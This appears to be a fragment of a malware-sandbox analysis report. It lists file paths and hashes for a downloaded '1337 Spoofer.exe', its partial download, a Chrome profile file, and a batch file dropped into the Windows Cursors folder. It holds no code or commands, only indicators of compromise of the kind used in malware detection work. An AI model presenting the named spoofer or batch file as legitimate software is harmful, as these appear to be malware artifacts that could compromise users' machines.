44136fa355b3678a1146ad16f7e8649e94fb4fc21fe77e8310c060f61caaff8a

SHA512
27c74670adb75075fad058d5ceaf7b20c4e7786c83bae8a32f626f9782af34c9a33c2046ef60fd2a7878d378e29fec851806bbd9a67878f3a9f1cda4830763fd

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\persisted_first_party_sets.json

Filesize
2B

MD5
99914b932bd37a50b983c5e7c90ae93b

SHA1
bf21a9e8fbc5a3846fb05b4fa0859e0917b2202f

SHA256
44136fa355b3678a1146ad16f7e8649e94fb4fc21fe77e8310c060f61caaff8a

SHA512
27c74670adb75075fad058d5ceaf7b20c4e7786c83bae8a32f626f9782af34c9a33c2046ef60fd2a7878d378e29fec851806bbd9a67878f3a9f1cda4830763fd

Download Submit
C:\Users\Admin\Downloads\1337 Spoofer.exe

Filesize
139KB

MD5
7d654d0c0fe2b21b5674d49031c17467

SHA1
a795d825deb0c1a2d5479fa935f046779a515310

SHA256
6736d86ce595d68404aa6ddad71c3cf430d4c0f6ffdb71512ff04e17c68efd82

SHA512
e2c685c76f8e25e8816470e15938dbd263e4ecf3e34a54c1d1488baf69db8bd4ad18e542638ace4e005982459c5963dbf4db1a8c2c40e1b6de9849bc0a8bfab9

Download Submit
C:\Users\Admin\Downloads\1337 Spoofer.exe

Filesize
139KB

MD5
7d654d0c0fe2b21b5674d49031c17467

SHA1
a795d825deb0c1a2d5479fa935f046779a515310

SHA256
6736d86ce595d68404aa6ddad71c3cf430d4c0f6ffdb71512ff04e17c68efd82

SHA512
e2c685c76f8e25e8816470e15938dbd263e4ecf3e34a54c1d1488baf69db8bd4ad18e542638ace4e005982459c5963dbf4db1a8c2c40e1b6de9849bc0a8bfab9

Download Submit
C:\Users\Admin\Downloads\1337 Spoofer.exe

Filesize
139KB

MD5
7d654d0c0fe2b21b5674d49031c17467

SHA1
a795d825deb0c1a2d5479fa935f046779a515310

SHA256
6736d86ce595d68404aa6ddad71c3cf430d4c0f6ffdb71512ff04e17c68efd82

SHA512
e2c685c76f8e25e8816470e15938dbd263e4ecf3e34a54c1d1488baf69db8bd4ad18e542638ace4e005982459c5963dbf4db1a8c2c40e1b6de9849bc0a8bfab9

Download Submit
C:\Users\Admin\Downloads\1337 Spoofer.exe

Filesize
139KB

MD5
7d654d0c0fe2b21b5674d49031c17467

SHA1
a795d825deb0c1a2d5479fa935f046779a515310

SHA256
6736d86ce595d68404aa6ddad71c3cf430d4c0f6ffdb71512ff04e17c68efd82

SHA512
e2c685c76f8e25e8816470e15938dbd263e4ecf3e34a54c1d1488baf69db8bd4ad18e542638ace4e005982459c5963dbf4db1a8c2c40e1b6de9849bc0a8bfab9

Download Submit
C:\Users\Admin\Downloads\Unconfirmed 47971.crdownload

Filesize
139KB

MD5
7d654d0c0fe2b21b5674d49031c17467

SHA1
a795d825deb0c1a2d5479fa935f046779a515310

SHA256
6736d86ce595d68404aa6ddad71c3cf430d4c0f6ffdb71512ff04e17c68efd82

SHA512
e2c685c76f8e25e8816470e15938dbd263e4ecf3e34a54c1d1488baf69db8bd4ad18e542638ace4e005982459c5963dbf4db1a8c2c40e1b6de9849bc0a8bfab9

Download Submit
C:\Users\Admin\Downloads\Unconfirmed 47971.crdownload

Filesize
139KB

MD5
7d654d0c0fe2b21b5674d49031c17467

SHA1
a795d825deb0c1a2d5479fa935f046779a515310

SHA256
6736d86ce595d68404aa6ddad71c3cf430d4c0f6ffdb71512ff04e17c68efd82

SHA512
e2c685c76f8e25e8816470e15938dbd263e4ecf3e34a54c1d1488baf69db8bd4ad18e542638ace4e005982459c5963dbf4db1a8c2c40e1b6de9849bc0a8bfab9

Download Submit
C:\Windows\Cursors\Mac.bat

Filesize
2KB

MD5
86630f471a1c7f40e8494347f9ab8249

SHA1
10a2139adfb884f01799de89bf9b9ccb2a8bb460

SHA256
c15faade0e71acd4abcb60a7e9f3f002a46d3d47bd294f7b12d811c871d1292c

SHA512
666fe7866c2bedc78aad081bddf7e4dc8a9038b173527dc9464dd9c0776314a8c3e1ec7f4d0f34aff0d946b94ed1178a5c665d79173d1bfe0a0a611f6af65369

Download Submit
C:\Windows\Cursors\Mac.bat

Filesize
2KB

MD5
86630f471a1c7f40e8494347f9ab8249

SHA1
10a2139adfb884f01799de89bf9b9ccb2a8bb460

SHA256
c15faade0e71acd4abcb60a7e9f3f002a46d3d47bd294f7b12d811c871d1292c

SHA512
666fe7866c2bedc78aad081bddf7e4dc8a9038b173527dc9464dd9c0776314a8c3e1ec7f4d0f34aff0d946b94ed1178a5c665d79173d1bfe0a0a611f6af65369

Download Submit